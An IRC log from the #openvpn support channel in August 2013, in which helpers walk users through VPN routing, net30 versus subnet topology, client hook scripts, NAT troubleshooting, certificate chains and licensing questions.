17:05 <+pekster> Try installing the `sipcalc` CLI tool thata can helpfully take a CIDR or IP+netmask and show you useful info like the range of IPs in it and other details
17:05 < DoctorChaos> ok
17:05 <+pekster> Sample sipcalc output: http://paste.kde.org/p2e52ce93/raw/
17:06 < DoctorChaos> let me try reattempting the double hop and using ip route get to see if that helps me
17:06 <+pekster> Your setup is fine minus the botched on-link route via something that's not on-link
17:06 < DoctorChaos> thanks for the help, brb hopefully
17:06 <+pekster> Presumably you addded that yourself, in error
17:07 < DoctorChaos> you mean line 30?
17:07 <+pekster> Yes.
17:07 < DoctorChaos> I did
17:08 <+pekster> Sure, okay. vpn#2 does that automatically when it connects, and it needs to look like line 35 (but with the right IPs & interface)
17:08 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
17:09 < DoctorChaos> without that line isn't it just going to resolve everything through vpn2 gateway, and bypass vpn1 completely?
17:10 <+pekster> No
17:11 < DoctorChaos> and how can I check if my config is working correctly? using wireshark or is there a simpler way to make sure each tunnel is getting the right traffic?
17:11 <+pekster> Ping the tunnel endpoint
17:11 <+pekster> Well, ping the _server_ IP, which is .1
17:11 <+pekster> You need routes for that since you're using the crappy net30 syntax
17:12 <+pekster> Easiest for diagnostic if you add in 2 additional routes for the $prefix.1 IPs routed via the PtP endpoint for each VPN
17:12 <+pekster> `ip route add 192.168.122.1 via 192.168.122.11; ip route add 192.168.189.1 via 192.168.189.1` (again, best scripted long-term)
17:12 <+pekster> net30 is so stupid
17:13 <+pekster> NFI why people still use it besides lack of knowledge on why it's so pointless
17:13 < DoctorChaos> lol
17:13 < DoctorChaos> most of the tutorials I found on configuring routes still use net30
17:13 <+pekster> Most tutorials are stupid, if not completed retarted
17:14 < DoctorChaos> ok, disconnecting to give this a try. thanks again
17:14 -!- DoctorChaos [~DrChaos@gateway/tor-sasl/drchaos] has quit [Quit: DoctorChaos]
17:15  * pekster wonders if we can make subnet the default for a future 2.4.x series and include "the usual" disclaimers for people wanting to support 7+ year old insanity
17:15 <+pekster> As much fun as it would be to try it for 2.3.3... ;)
17:15 < Eugene> I said the same thing about 2.3; "nope, defaults ain't changing"
17:16 <+pekster> 2.3 would have been the right target
17:16 <+pekster> (simply becuase it's Windows on <=2.0.9 that needs net30)
17:16 < Eugene> Especially as that's the default(only?) for v6
17:16 <+pekster> So, two full point-releases with backwards-compat defaults, then change it and make sure the changelog highlights this, maybe even the installers (for Windows) and a nice big fat warning in the init logs
17:17 <+pekster> w/e, net30 works, but makes so much more complicated (and is wasteful for people using public IPs)
17:17 < Eugene> That was what I said too.
17:17 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 245 seconds]
17:17 <+pekster> It's as wrong as using ifconfig and route on Linux ;)
17:18 <+pekster> I need to write Yet Another article on why that's so bad, and use the analogy of teaching children that a circle's circumfrance over the radius is 22/7
17:18 <+pekster> While "mostly correct" for basic math needs, it's also quite wrong
17:19 <+pekster> "Every time you type ifconfig, a child learns that pi equals 22/7. Think of the children."
17:20 <+pekster> BSDs excepted of course, becuase their original userland was maintained
17:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
17:29 -!- p3rror [~p3rror@41.140.159.147] has quit [Quit: Leaving]
18:03 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:04 -!- cj_ is now known as cj
18:06 -!- DoctorChaos [~DrChaos@gateway/tor-sasl/drchaos] has joined #openvpn
18:06 < DoctorChaos> Well I got the ping to work, but my web browser doesn't for some reason. It says connected to Google, and then is just stuck there. But pinging Google produces replies
18:08 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
18:09 < DoctorChaos> And I tried the ip version of Google as well, same thing
18:16 <+pekster> Possible MTU issues; check if you can get replies to MTU-sized pings with DF set
18:16 <+pekster> And if that's broken it's probably the fault one of of these stupid providers that uses net30 becuase they haven't a clue what they're doing
18:17 <+pekster> And actually, that's still not a silver-bullet test since comp-lzo (enabled by default in adaptive mode) can make pings compress better in the actual payload, and it'll compress far better than random node.js stuff
18:17 <+pekster> (nevermind images)
18:18 <+pekster> Normally you test for that by turning off comp-lzo, but I've lost interest in offering suggestions for an endpoint you don't control
18:20  * Eugene gives pekster a cookie
18:22 <+pekster> That'll go well with this bowl of ice-cream :)
18:22 < DoctorChaos> I dunno it could just be the VPN provider disabling dual hops or something.
18:22 < DoctorChaos> Anyways, I guess I'll just give up then.
18:23 < DoctorChaos> But at least I learned some stuff about routing.
18:26 < DoctorChaos> thanks for the help pekster. Later!
18:26 -!- DoctorChaos [~DrChaos@gateway/tor-sasl/drchaos] has quit [Quit: DoctorChaos]
18:28 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
18:29 < genial> Hello! When connected to my VPN and transferring data to/from that same server - from a security point-of-view, is there a difference communicating to that server through the "local" ip-address (10.32.0.x) compared to using it's public hostname?
18:31 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
18:33 <+pekster> genial: Yes, the former is secured by OpenVPN's transport encryption, the latter is not unless you're doing some clever policy routing
18:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:45 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
18:46 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Read error: Operation timed out]
18:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
18:47 -!- Didji [~chatzilla@host86-153-226-116.range86-153.btcentralplus.com] has joined #openvpn
18:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:49 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
18:49 < Didji> Hi.  I'm connecting to a vpn, and want a script to execute when connection happens.  Here's my syntax: openvpn --config configfile.conf --daemon --client-connect connectscript.sh
18:49 < Didji> Should that work?
18:49 < Didji> I get no errors, but no connection happens.
18:50 < Eugene> --log somewhere.
18:50 < Eugene> You're --daemon'ing off, so no output
18:50 -!- ddr- [~pi@546A51D2.cm-12-3b.dynamic.ziggo.nl] has joined #openvpn
18:50 < Didji> I just realized that as I typed the question, :)
18:51 <+pekster> This is a server that listens for client connections, yes?
18:51 < Didji> No, I'm connecting as a client, I want the script to execute as the connection is made.
18:51 <+pekster> You probably want --route-up then
18:51 < Didji> So that I can modify iptables, and so on.
18:51 <+pekster> --client-connect is for servers that need on-client-connect tasks
18:52 < Didji> Meh, god damn it.
18:52 < Eugene> Man pages motherfucker, do you read them? :v
18:52 < Didji> Yes.
18:52 < Eugene> Ah good. Carry on!
18:54 <+pekster> I'll need to test it, but if openvpn allows you to use that in non P2MP_SERVER mode, that's probably a simple patch to instead warn the user on
18:54 < Didji> Is there some --route-down thing?  (Yes, I've checked the man page for that)
18:54 <+pekster> Just --down for that
18:54 < Didji> pekster: you aiming that at me about P2MP_SERVER?
18:54 <+pekster> You can use --up too, but that happens before connection (so if you need to dynamically adjust firewall rules based on details you get from the server, you need a later hook)
18:54 < xorox90> Openvpn is successfully work, works well in other computer(win7, ubuntu, ios) but strange thing is android openvpn works well except connecting private network(ip) in 4G (more strange is it works in wifi wtf!), Is anybody here solve this problem?
18:55 <+pekster> Didji, no, musing about disallowing options that are mutually exclusive, like --remote (or --client or --pull) with --client-connect
18:55 < Didji> Oh, okay.
18:55 <+pekster> ie: developer stuf
18:55 < Didji> One more question.  As a client, what's the proper way to disconnect from a server?
18:55 <+pekster> OpenVPN tries to be smart about alerting you to mistakes, but it's not perfect, and some mistakes are logical, not technical ones
18:56 < Didji> I'm currently using killall openvpn.
18:56 <+pekster> Send a SIGTERM to the client process; optionally the client can use the --explicit-exit-notify option to pro-actively inform the server of a disconnect (rather than let the server ping the client out)
18:56 <+pekster> See the manpage part about SIGNALS
18:57 < Didji> Sure, thanks again.
18:57 < Didji> Or thanks for the first time, actually.
18:59 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 246 seconds]
19:00 < Didji> I'm getting: WARNING: Failed running command (--route-up): external program fork failed
19:01 < Didji> Should have googled it first, figured it out.
19:05 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Quit: Computer has gone to sleep.]
19:06 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
19:07 -!- Husar [~Husar@2a01:4f8:161:1e4::2] has joined #openvpn
19:11 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 240 seconds]
19:15 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:17 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
19:19 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
19:45 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 245 seconds]
19:46 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
19:57 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
19:57 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
20:01 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
20:05 -!- raidz is now known as raidz_away
20:05 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 264 seconds]
20:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:16 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
20:18 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
20:21 < Didji> If I'm a client connecting to a vpn provider, and the hostname resolves to multiple IPs, how can I find out which one openvpn chose?
20:22 < BtbN> it's random
20:23 <+pekster> Not really random, but you can't know in advance (so it just as well might be)
20:23 < Didji> Sure, but one gets used; is it possible to find out which?
20:23 < BtbN> tcpdump the traffic
20:23 < Didji> Not necessarily in advance.
20:23 <+pekster> Only in a script after you initiate the connection
20:23 < Didji> There's no openvpn enviroment variable?
20:24 < Didji> Or some similar?
20:24 <+pekster> Yes, after connect you should have an env-var for it
20:25 < Didji> Any idea which one?  I've tried all the ones that look as though it might be it.
20:27 < Didji> You know what, there's an error in the code I used to test the env vars.
20:29 <+pekster> trusted_ip
20:29 < Didji> Yeah, I thought it would be, but I was misspelling it in the script.  Thank-you though.
20:29 <+pekster> You can simply used some shell code to see the environment, like `set > /tmp/openvpn-vars-debug.txt`
20:31 < Didji> Oh cool, I didn't realize.
20:37 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
20:55 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 264 seconds]
21:01 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
21:31 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:51 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
21:51 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:36 -!- sef [~sef@pool-108-18-43-132.washdc.fios.verizon.net] has joined #openvpn
22:37 < sef> Hi, I have an openvpn tunnel (tap) between two systems, A and B.  System B also has routing + iptables and has System C attach it.  System C and System A can ping each other through System B.
22:38 < sef> But if I turn on NATing to the internet on System A and I ping out from System C, the packets make it out to the net, and back to System B, but don't get routed back to System C
22:39 < sef> they show up in the tun0 interface (using tcpdump), but don't make it out of any interface
22:39 < Eugene> This sounds like it needss a diagram
22:39 < sef> yeah ...
22:39 < Eugene> Preferably with (real) netmasks
22:40 < sef> ok will make one and come back with that
22:40 < sef> just a quick question, is there debugging/logging facilities in the linux kernel routing code?
22:42 <+pekster> That's not the question you want to be asking
22:42 < Didji> pekster et al: Thanks guys, I got it working.
22:42 < Didji> Bye.
22:42 -!- Didji [~chatzilla@host86-153-226-116.range86-153.btcentralplus.com] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 23.0.1/20130814063812]]
22:42 <+pekster> The only commands you'll need to deal with routing will be some combination of `ip route show`, `ip route add ...` and `ip route get`
22:43 <+pekster> And if you're dealing with complex stuff like policy routing, maybe `ip rule` but that's advanced stuff (LARTC would be a good place to start)
22:44 < sef> yeah I'm using rules, marking packets with iptables, etc.  Part of what I'm doing is from LARTC docs
22:44 <+pekster> My point is you don't want to "debug the kernel" -- unless you actually meant you want to to look at the C structures of the in-memory (kernel memory) storage for the data held by the routing table and watch the various kernel-ring APIs kick off
22:45 < sef> ah ok
22:45 <+pekster> I'm pretty sure you don't want that
22:46 < sef> no, I just want to know why an icmp echo response from 8.8.8.8 to 172.16.2.2 doesn't make it through the box, it doesn't go out any interface, it just stops
22:46 <+pekster> That's usually a firewall problem, or lack of routing turned on
22:47 < sef> routings on and all policies are set to default accept
22:47 <+pekster> Also possible is a misconfigured routing table (again, `ip route get $target_ip`, followed by extra matches if you do policy routing based on interface or source)
22:49 < sef> ok thanks I'll try ip route get target_ip
22:49 <+pekster> If NAT is involved, be sure that the reply comes back symmetrically, otherwise it won't get matched through conntrack and sent back to the original client
22:50 <+pekster> If you're doing (client C) -> [Router B] ->--(VPN)--> [Router A] --> {Internet} then you shouldn't be doing NAT on "B"
22:51 <+pekster> Not generally anyway
22:53 < sef> no the nat is on A
22:53 < sef> A and B are on a 10.0.0.0/24 and B and C are on a 172.16.0.0/24
22:54 <+pekster> Otherwise, try posting good details of your setup (see 10.0.0/24 is a poor choice for a VPN network due to overlap potential, but oh well
22:54 < sef> maybe B isn't routing through since it's getting a packet form an internet address to an rfc1918 address and it shouldn't route that
22:54 < sef> ok cool I'll make something
22:54 <+pekster> Why shouldn't it route that? Sounds like a firewall problem
22:55 < sef> I don't know, there isn't a single drop or reject rule in this config, it's all default accept
22:55 <+pekster> You have 3 systems involved
22:55 <+pekster> Obviously the firewall can't be "all accept" on all of them because you have RFC1918 involved
22:56 < sef> well when I ping out from C, the packets make it to the net and a reply comes back to B on the tun0 interface
22:56 < sef> but stops at B and doesn't route back to C
22:57 < sef> so A's firewall rules probably aren't an issue
22:57 < sef> ah well I'll figure it out, thanks for the help
22:58 <+pekster> No reason B shouldn't route it then with routing turned on and proper routes
22:58 <+pekster> `iptables-save -c` somewhere on the router, with a description of the involved addressing/interfaces (actually, just `ip addr show` would do that too, ideally with `ip route show`)
23:04 <+pekster> !firewall
23:04 <@vpnHelper> "firewall" is (#1) please see https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG for more info or (#2) see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for brief notes on disabling firewall rulesets.
23:04 <+pekster> :(, both those links are wrong. Lovely
23:04 <+pekster> Well, the pf stuff is right
23:48 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
23:50 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
--- Day changed Tue Aug 27 2013
00:00 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 264 seconds]
00:15 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
00:15 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
00:15 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
00:15 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Client Quit]
00:17 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
00:25 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:40 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Quit: No Ping reply in 180 seconds.]
00:41 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
00:48 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
01:10 <+pekster> !learn firewall as Please see this for a better method to unloading netfilter (aka "iptables") rules: https://gist.github.com/QueuingKoala/6350127
01:10 <@vpnHelper> Joo got it.
01:14 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:41 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
01:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:49 -!- theGrg [~theGrg_@unaffiliated/thegrg] has joined #openvpn
01:50 < theGrg> Hello. What is the license of the OpenVPN Connect client provided here: http://openvpn.net/index.php/access-server/download-openvpn-as-sw/357.html ?
01:50 <@vpnHelper> Title: Client Packages (at openvpn.net)
02:00 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
02:02 -!- unixman90001 [~Adium@wsip-184-178-199-226.ph.ph.cox.net] has quit [Ping timeout: 245 seconds]
02:10 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit []
02:11 <+pekster> theGrg: The AS/Connect stuff is subject to its own commercial EULA and (in the case of AS) Licensing/payment scheme
02:12 < theGrg> Oh
02:12 <+pekster> Possibly relevant for you:
02:12 <+pekster> !as
02:12 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
02:12 <+pekster> !download
02:12 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
02:12 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
02:15 <+pekster> Ah, this is a better description:
02:15 <+pekster> !connect
02:15 <@vpnHelper> "connect" is OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide
02:18 < theGrg> Thanks that clears things up.
02:18 -!- xiu [~xiu@78.193.79.120] has joined #openvpn
02:19 < xiu> hi (not native :), does openvpn support certificates chain or does it only support stacked certificates ?
02:31 <+pekster> !gui
02:31 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
02:31 <+pekster> theGrg: ^
02:32 <+pekster> xiu: I don't understand your question; OpenVPN works with X509 certificates, yes. You can chain certificates where you have root CA -> sub CA -> client cert
02:33 < theGrg> pekster are there official gui's for other platforms? (Linux, Mac OS X, Android, iOS)
02:34 <+pekster> No, although for android there's a "semi-official" GPL port:
02:34 < xiu> pekster: ok but a client certificate must be signed by the whole chain or any of the chained certificate will work as written here: https://community.openvpn.net/openvpn/wiki/Using_Certificate_Chains (a bit old, that's why i'm asking)
02:34 <@vpnHelper> Title: Using_Certificate_Chains – OpenVPN Community (at community.openvpn.net)
02:34 <+pekster> !android
02:34 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
02:34 <+pekster> xiu: A cert is only ever signed by a single CA. That CA in turn needs to either be a trusted root, or have a signature path to one
02:35 <+pekster> xiu: Yes, with certificate chains the OpenVPN client needs the entire "stack" because it is necessary to be able to "see to the top" of the root cert
02:36 < xiu> pekster: ok so this: Imporant notice: All certificates which are signed by any of the CA certificates found in the 'stacked.crt' file are considered valid. Thus, be very careful when adding CA certificates to a stacked certificate. " isn't valid anymore ?
02:36 <+pekster> THat's still valid; you're telling OpenVPN what you "trust" to perform validation of the thing you connect to
02:37 <+pekster> xiu: This is why generally you will just create your own PKI for your VPN. This is safer, and it's rare to need a setup with a chained CA anyway
02:38 <+pekster> xiu: If you have such a chained setup, you need your _local_ cert (not the ca cert, the "--cert" you use in the config) to present itself to the remote end such that the remote end can see that your client has a trust path to a CA the verifying end trusts
02:39 <+pekster> It's the exact same way web browsers work
02:41 < xiu> ok i see so i need to use an intermediate CA to create new certificates and use rootca.crt in --ca
02:42 <+pekster> If you'd like, sure. Optionally you could add an intermediate CA to your --ca file (you just combine them together) and then a connecting client won't need a "stack" of certs when connecting to the server
02:42 <+pekster> Do you actually need a sub-CA setup? It's easier not to do that
02:43 < xiu> i think i'll reconsider that :) wanted to clean up my ssl mess by using a PKI
02:46 < xiu> pekster: thanks for these informations :)
02:51 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zlakxhjlrtqwlazj] has joined #openvpn
03:01 -!- kubbing [~kubbing@48.247.broadband13.iol.cz] has joined #openvpn
03:02 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has joined #openvpn
03:16 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:21 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has left #openvpn ["Konversation terminated!"]
03:32 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:57 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 264 seconds]
04:01 -!- mikkel__ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
04:05 -!- C-S-B [~C-S-B@host86-161-28-160.range86-161.btcentralplus.com] has quit [Quit: ZNC - http://znc.in]
04:07 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
04:20 -!- kubbing [~kubbing@48.247.broadband13.iol.cz] has quit [Remote host closed the connection]
04:29 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
04:31 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
04:45 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has joined #openvpn
04:46 < hyper_ch> good morning.... I'm pondering to get another server that offers 1 ipv4 and a gazillion ipv6 addresses. Can I then setup openvpn so that I can connect through ipv4 to the server (since no IPv6 at home) but for outgoing it'll use then one of the IPv6 adresses?
05:04 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
05:15 < BtbN> you can also just setup a normal 6in4 tunnel if you have a spare /64
05:25 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
05:26 < NET||abuse> hi folks, having a trouble. getting my first vpn connection to connect, getting TLS handshake failed.
05:26 < NET||abuse> i followed a basic step by step to use a routed tunnel
05:27 < NET||abuse> but the cert side of it was very straight forward.
05:28 < NET||abuse> my server log is here.. http://pastebin.com/yHDSaWf4
05:28 -!- theGrg- [~theGrg_@unaffiliated/thegrg] has joined #openvpn
05:28 < NET||abuse> i cheated and renamed my domain to me.com :)
05:29 < NET||abuse> the tunnelblick app i'm using on this mac just sits trying to authorize, but obviously on the server side the tls failure is blocking things
05:29 < NET||abuse> TLS_ERROR: BIO read tls_read_plaintext error:   that seems to be the cause?
05:30 < NET||abuse> is that the cert coming from the client that's failing or the cert the server.conf points to?
05:30 < Bretos> pekster: don't know if you remember our yesterday's chat, but you said that version 15 was caused by some crap that my device sends. But then I realised that PPTP via built-in app works just fine... isn't that weird?
05:32 -!- theGrg [~theGrg_@unaffiliated/thegrg] has quit [Ping timeout: 264 seconds]
05:36 < hyper_ch> BtbN: what's 6in4 tunnel? what I would like to achieve is use several clients that then can use all a different ipv6 address from the server
05:41 -!- theGrg- is now known as theGrg
05:43 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Read error: Connection reset by peer]
05:44 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
06:02 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-zlakxhjlrtqwlazj] has quit [Ping timeout: 264 seconds]
06:04 -!- aegis [~aegis@184.75.213.34] has quit [Ping timeout: 246 seconds]
06:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Operation timed out]
06:06 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
06:14 -!- aegis [~aegis@184.75.213.34] has joined #openvpn
06:19 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
06:19 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Remote host closed the connection]
06:26 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
06:40 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 264 seconds]
06:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:41 -!- afenkart [~afenkart@ip-89-176-190-169.net.upcbroadband.cz] has joined #openvpn
06:44 -!- Rumbles [~Rumbles@mail.solutiontelecom.co.uk] has joined #openvpn
06:45 < afenkart> is there a way to emulate a forticlientssl? -- seems to be only ssl and some http server
06:46 < Rumbles> Hi, if I have the same subnet configured in 2 different ccd files, would you guys expect any issues caused by this at all?
06:47 < Rumbles> One client connects fine, the second client (even if the first is not connected - so I don't think this is the issue, but I am scratching my head regardless) connects successfully but then immediately restarts the connection.
06:53 < Rumbles> even with verb 5 on I don't see anything that seems to point to an problem (but I guess I am wrong) I just see it connect, get the TLS initial packet, then it starts over again.
06:53 < Rumbles> any help would be greatly appreciated
07:15 -!- mirco [~mirco@p5080696D.dip0.t-ipconnect.de] has joined #openvpn
07:24 -!- joshuahh [~josh@unaffiliated/joshuahh] has joined #openvpn
07:24 < joshuahh> hello
07:25 -!- theGrg [~theGrg_@unaffiliated/thegrg] has quit [Quit: Leaving]
07:28 -!- Rumbles [~Rumbles@mail.solutiontelecom.co.uk] has quit [Ping timeout: 264 seconds]
07:32 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:33 -!- Rumbles [~Rumbles@mail.solutiontelecom.co.uk] has joined #openvpn
07:35 -!- joshuahh [~josh@unaffiliated/joshuahh] has left #openvpn []
08:15 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
08:19 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
08:27 -!- gtklocker [~gtklocker@snf-61725.vm.okeanos.grnet.gr] has quit [Ping timeout: 264 seconds]
08:40 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:48 -!- lazzer- [~mattias@213.132.98.41] has joined #openvpn
08:57 -!- gtklocker [~gtklocker@snf-61725.vm.okeanos.grnet.gr] has joined #openvpn
08:59 -!- vraa__ [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
09:02 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
09:08 -!- vraa__ [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 248 seconds]
09:17 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
09:22 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-snffkzqvqimxqpyw] has joined #openvpn
09:25 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:26 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
09:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
09:30 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
09:36 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
09:39 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
09:39 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Max SendQ exceeded]
09:42 -!- mikkel__ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:46 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
09:46 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Remote host closed the connection]
09:51 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:53 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
09:53 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
09:53 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
09:59 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 264 seconds]
09:59 -!- master_o1_master [~master_of@p4FF244FA.dip0.t-ipconnect.de] has joined #openvpn
10:01 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:02 -!- master_of_master [~master_of@p4FF244F4.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
10:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:05 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
10:10 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 264 seconds]
10:10 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 264 seconds]
10:12 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:20 -!- raidz_away is now known as raidz
10:24 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
10:27 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
10:30 -!- mirco [~mirco@p5080696D.dip0.t-ipconnect.de] has quit [Quit: mirco]
